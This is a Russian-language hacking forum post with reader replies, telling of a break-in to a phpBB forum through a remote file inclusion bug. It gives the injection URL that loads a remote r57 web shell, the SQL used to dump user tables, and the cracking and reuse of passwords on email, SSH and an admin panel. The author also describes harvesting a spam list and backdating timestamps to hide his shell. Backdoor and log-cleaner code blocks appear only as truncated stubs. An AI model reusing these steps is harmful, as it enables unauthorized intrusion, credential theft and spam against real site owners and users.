![]() |
История одного взлома. Добыча маленьких хакерских радостей.
Сразу хочу сказать, что целью статьи не было создание мануала по какому-либо методу взлома (это еще впереди ;-)). Каждый из нас когда-то понял или поймёт, что адресная строка - это не просто набор бессмысленных символов, а такая же важная, если даже не боллее часть web-интерфейса, посредством которой происходит контроль за выполнением отдельных скриптов, программ. И вот, однажды, ты начинаешь понимать, что с помощью этой строки можно вполне управлять жизнью отдельного интернет проекта. Но, как говорится "у семи нянек дитятко без глаза". Точно такие же ситуации очень часто можно встретить и внутри (точнее, чаще всего - снаружи, до внутренностей добираются далеко не все) какого-нибудь интернет ресурса, волею судеб попавшего под не совсем стандартный клик мышки. Как-то вечером, ползая от одной закладки к другой, я искал что-нибудь интересное и одновременно достаточно полезное. В это время ко мне в асю постучал мой новый знакомый с античата. Поболтав с ним немного, мы пришли к выводу о необходимости совместной работы на благо сетевой безопасности. Перврначальный объект - зарубежная хак-тима, желательно с форумом (в идеале-дырявым). Но, так как чудеса в нашей жизни случаются довольно редко, то мы не встретили никаких IPB 2.0.*, а нашли модифицированный phpBB, странный скрипт новостей и 2 SQL-инъекии, кот. не смогли реализовать в полной мере. Скрипт новостей был весьма странным и я незамедлительно зашел на официальный сайт разработчика и скачал архив с исходниками. В течение 2 долгих часов я пытался проявить чудеса изобретательности и обнаружить что-нибудь интересное. Но увы - интересное не обнаруживалось. Раздосадованный таким поворотом дел, я предложил другу заняться чем-нибудь более продуктивным, а конкретно, поиском маленьких хакерских ценностей, таких как аккаунты на ftp, мыльники, ssh-доступ и другие не менее интересные вещи, которые в дальнейшем можно было бы успешно реализовать. Не став особенно заморачиваться по поводу места будущей кормежки, мы порылись в запасе шеллов собственных, но остановились преимущественно на шеллах чужих. Первый шелл был болен локальным инклудом, safe_mode: по всей видимости chroot. Надыбав за несколько минут конфиг к базе данных форума, пару файлов .serwice.pwd мы осознали, что ловить нам там практически было нечего, и поспешили обследовать другой сайт. К сожалению, другой сайт не оказался более дружелюбным, и мы с товарищем решили на время заняться собственными делами. Не знаю, чем занялся он, но меня очень задело, что я столько врмени убил на поиск багов, а результаты все также не радовали. В это время в мою голову закралась мысль об использовании в своих целях багтрака. Скажу честно - я очень рекдо пользуюсь багтраками (хотя стабильно слежу!) для собственных взломов, если целью самого взлома не является конкретный проект. Так вот. Так как мне хотелось получить такие сайты, доступ к которым можно было бы потом сбагрить, я должен был заюзать только свежайшую багу, поэтому всякие securityfocus'ы и прочие lab'ы мне не совсем подходили. Но как же найти сплоит для баги, которой еще нет на общеизвестных багтрак - лентах? Ответ напрашивается сам собой - искать их на сайтах тех людей, которые пишут эксплоиты. Но так как память у меня хорошая только на пароли, а логины я запоминаю с трудом, мне все же пришлось зайти на milworm.com, где я открыл список web-application эксплоитов. В самой правой колонке можно было увидеть имя автора сплоита. Чаще всего на странице мне встретилось имя rgod. Соответственно, открыв первый попавшийся сплоит, в шапке я высмотрел линк на сайт автора и сразу же поспешил на него перейти. Сайт встретил меня кроваво-черной палитрой, а я решил его встретить взломом. Конечно, мысль была не из лучших - ломать через WEB сайт багоискателя в WEB-приложениях, но почему-то конкретно в тот момент я над этим не задумался. Само собой, сайт я не взломал (не помню - то ли там все в html было сделано, то ли на java написано - не суть), зато в самой верхней строке найденных уязвимостей увидел ссылку на какой-то mod для phpBB (многие считают, что mod для phpBB - это какая-то редкость для интернет проектов, а между тем - каждый пятый форум имеет специальный темплейт, скин или мод, поэтому вероятность встретить бажный сайт была близка к 100%). После того как я бегло просмотрел суть бага, котрый представлял из себя не что иное, как Remote file including, я поспешил к Google. Забив имя скрипта в поиске, я не увидел ни одной ссылки на security-сайты, что, само собой, весьма меня обрадовало. Далее я набил в гугле -inurl::"/script.php" и название срипта - Vita..(не помню точно) (мало ли - может его имя встретится где-нибудь внизу страницы). И не прогадал - почти все ссылки были очень похожи на Proof of Concept (PoF) на сайте rgod'а. Так как бага была свежайшей, я не стал переключать дальше второй страницы и открыв ссылку, приписал в самом конце после вопроса: phpbb_root_ path=http://rst.void.ru/downloads/r57shell.php Но ссылка выдала лишь пустую страницу. Что за херня? - подумал я, и, зная особенности подобных багов, а также фильтрации расширений в скриптах, добавил символ ? phpbb_root_ path=http://rst.void.ru/downloads/r57shell.php? Палитра резко изменила цвет на цвет шелла. "Отлично!" - подумал я, и принялся исследовать скрипты. Первой интересной находкой для меня стал файл config.php, который есть в любом phpBB форуме, независимо от наличия mod'ов. localhost, а также логин и пасс к базе данных MySQL я аккуратно выписал в блокнот. Это было моей первой находкой. Второй моей находкой стала нехилая база мыльников и пассов к форуму. Саму базу я просматривал все с того же шелла, вбив адрес, порт, логин и пасс для доступа к базе данных в соответствующие поля. Далее команды: SHOW DATABASES; USE phpbb; SELECT * FROM phpbb_users; На эту комманду браузер очень долго отвечал, поэтому я решил ограничить количество выводимых записей следующей командой: SELECT * FROM phpbb_users LIMIT 50, 1 ; Эта команда вывела мне 50 записей из таблицы phpbb_users начиная с первой Каждый третий пассворд для форума (расшифрованные при помощи проги MD5 Inside по словарю) подходил и к указанному мылу. А мыльца там были преимущественно раритетные - gmail, aol и т. п. В одном из мыл, помню как сейчас, мной был найден пароль к админке какого-то венгерского проекта... Сам дамп я сделал через все тот же шелл, благо, там была предусмотрена такая функция. Права моего пользователя (команда id, я надеюсь, Вам это ивестно) совпадали с правами владельца сайта и поэтому дамп я спокойно записал в корневую директорию форума, к остальным скриптам. Третьей моей находкой, которая по началу меня весьма удивила, стал непонятный файл с гордым именем 1.php посреди php скриптов. Так как я 100% знал, что такого файла там быть не должно, я поспешил выполнить команду cat 1.php После прочтения первой строки мне все стало ясно: #IRAN HACKERS SABOTAGE Connect Back Shell Вот уроды! - выругался я. Мало того, что все сайты дефейсят, стоит только свежей баге появиться на багтраке, так они успели и до этой баги добраться!!! Ну это беспредел просто. Конечно, после этой находки мои глаза стали следить за именами файлов и датами их изменений более тщательно. Если есть один файл, то будут и другие, ведь хакеры редко останавливаются на заливке шелла. Первым объектом для поиска стал одинаково любимый всеми, независимо от географического положения каталог /tmp. cd /tmp ls -ali Что бы Вы думали? Посреди временных файлов сессий валялся файл с датой последнего изменения, соответсвующей сегодняшнему числу. Более того, доблестные иранские хакеры даже не стали маскировать свои интсрументы и файл назвали bd.pl. cat bd.pl вернула мне следующее: Код:
#!/usr/bin/perlДалее был придуман следующий план. 1) Проверяю все поддиректории форума на наличие заныканных арабами шеллов (особой внимание к папкам типа uploads и avatars). Все найденное переименовываю из 1.php во что-нибудь похожее на view_all.php. Ссылку на шелл сохраняю и юзаю в дальнейшем. Все свежие файлы бегло просматриваю с целью выяалени дописанных арабами строк; 2) Собственными силами закрываю багу, предварительно убив все странные процессы типа bd.pl, особое внимание к процессам с большими значенями pid; 3) Удаляю все следы пребывания и мой шелл. Итак, к командном варианте это выглядит так: pwd ls -al cat elf ===============> команда выводит непонятный набор символов не несущих логической нагрузки, судя по названия сплоит для elf_lbl Судя по времени закачан раньше бекдора. Где логика? Может иранский хакер был женщиной? Хотя вряд ли - у них там с эти сурово. uname -a ===============> Linux 2.6.9, что подтверждает мою догадку. rm elf Открываю ссылку с шеллом в новом окне. Далее: pwd mv 1.php view_all.php touch -t 200505121905 (дату ставлю аналогичную остальным файлам в этой папке. Формат - yyyymmddhhmm, по русски - гггг(год)мм(месяц)дд(день)чч мм) cat view_all.php =======> убедимся, что содержимое не изменилось. На всякий случай. cd uploads ls -lai cd ../.. ===========> в гланую папку Тут я обнаружил, что только на одном файле дата соответсвует сегодняшнему числу (точнее время присутствует) Я даже не стал делать cat index.php, а сразу набил в адресной строке название файла и передо мной предстал ярко красный экран с надписью Owned by mad Iranian hackerz. После этого я окончательно разочаровался в арабских коллегах. Зато мне стала ясна история взлома сайта хакерами после заливки щелла. Они залили ядерный эксплоит в папку /tmp. После этого дали chmod +x (разрешили выполнять). Потом при помощи бекдора попали в консоль. Потом закачаный сплоит не сработал, они, скорее всего, попробовали еще парочку, и поняв, что Аллах сегодня не в духе. Изменили индекс и свалили. Хотя я откуда знаю - свалили они или пошли сплоит искать? Проверим: ps aux В процессах висел и сплоит, и бэкдор. Паливо, не спорю. Я решил, что они еще в консоли и поэтому дальше действовал так: Выбираю опцию редактирование файла scipt.php Бажную переменную phpbb_root_path (кстати, эта переменная очень часто встречается в багах модов для phpBB, возьми на заметку ;-)) обнаруживаю во второй строке. Скрипт просто инклудит файл, не проверяя его существование и местоположение: require ($phpbb_root_path/include/lib.inc.$phpExt); Ну что ж - попробуем включить проверку. У меня два варианта защитных функций - isset() (в первой строчке include, но путь задан константой, поэтому такая фича может и прокатить), либо file_exist() Пробую вставить конструкцию if (isset ($phpbb_root_path)) перед бажной функцией require (). Жму на кнопку Сохранить. (замечу, эти действия я уже проделывал из файла view_all.php) Пробую запрос: http://site.com/forum/script.php?phpbb_root_ path=http://rst.void.ru/downloads/r57shell.php Пустая страница приветствует меня. ***** на моей стороне, и я, в роли админа, пока не упал лицом в грязь. Далее пытаюсь удивить иранских друзей не менее, чем они удивили меня, оставив свои скрипты и сплоиты в директориях сайта. ps ax kill -9 347 417 (это pid для процессов "иранский сплоед" и "арабский бекдоръ") (я привожу примеры комманд. На самом деле, это могла быть kill -TERM и т. д.) И тут же представляю себя в консоли. Я - злобный мусульманин, просматривающий содержимое директорий неплохого такого сервера, уставший после работы где-нибудь на нефтяной вышке слесарем. Сижу за компьютером, купленным на проданные подешевке AK-47, перепробовав все известные только ****** сплоиты, просматриваю доступный на чтение рутовый .bash_history коммандой [COLOR=Yellow]less{/COLOR]. В самой нижней строке консоли вижу ssh root@209.181.93.687 И тут.... окошко с ошибкой типа, Network error, или что-то типа того. Я не хочу представлять, чем это закончилось. Вернемся к моему браузеру. У нас есть - а) закрытая бага; б) шелл на форуме (кстати, многие подумают, что не стоило бы кидать шелл в корень форума, но команда last -10 явно сказала, что стоит); в) злые иранские хакеры; Ах, да! Забыл самое главное - у нас же дефейс висит, но т. к. у них сейчас ночь, а форум деловой, а не для отдыха, можно надеяться, что дефейс спалило не так много людей. Конечно, можно было бы выяснить это точно, просмотрев логи обращения к индексу, но я пошел на авось. Мне очень повезло. Рядом с файлом index.php я нашел файл index_1.php Странно, что он остался цел. Но это только радует, и я быстро делаю следующее: rm index.php mv index_1.php index.php touch -t 200505182016 index.php Захожу на индекс и проверяю, что все нормально. Индекс пестрый, что-то про ноутбуки. Вспоминаю, что в одной из директорий висит дамп базы под именем 1.sql (кстати, как раз в upload). cd /upload rm 1.sql Вот теперь - все. Сайт защитил, от админа сныкал, опыта набрался, трофеи тоже радуют, отстоял честь русских хакеров. Цель достигнута и Морфей зовет на боковую. Я спать. P. S. Трофеями выступили: 1) Аккаунт администратора; Логин на форуме был ввиде фамилии, но потом, уже внутри консоли , я попробовал ssh some_login@209.181.93.68 ввел пасс админа форума и оказался на соседнем сервере. 2) Дамп базы данных далеко не самого забитого форума; 3) Спам база, выцеженая из дампа; 4) Аккаунт админа на каком-то венгерском проекте (p.s. на нем меня спалили и доступ я к нему потерял); 5) Иранский бекдор и шелл (скажу честно - шелл фуфло по сравнению с нашими - строк 20 кода); 6) Опыт администрирования и анализа содержимого скриптов; 7) Приятный вечер и хорошее настроние. Выводы каждый сделает сам, единственный совет - какой бы свежести не была бага и какой бы ни был сайт всегда смотрите процесы и ищите левые файлы. Как говорится, кто ищет - тот всегда найдёт. =) Удачи! С уважением, 1ten0.0net1. |
Вот еще одна вещь, найденая мной во время этого же взлома - я не стал про нее в статье писать, но сейчас решил выложить.
Внимание!!!! Использование подобных скриптов не приветствуется ни в коей мере правилами античата и поэтому, мой совет подправить код, оставив только лог-клинер. Код:
######################################################################################################### |
Между прочим читалось очень интересно, спасибо =)
|
Гуд, очень интересно.
|
Где-то ты уже ёё постил. Читал. Увлекательно...
|
Очень интресно =)
|
Мои трофеи:хорошее настроение от увлекательного чтения +дополнительные
знания. Спасибо. |
интересно +
|
Статья понравилась!
|
Мда... бывает стока трэша найти можно на сервах вскрытых.... попадается одэй тож кста))
|
| Время: 04:44 |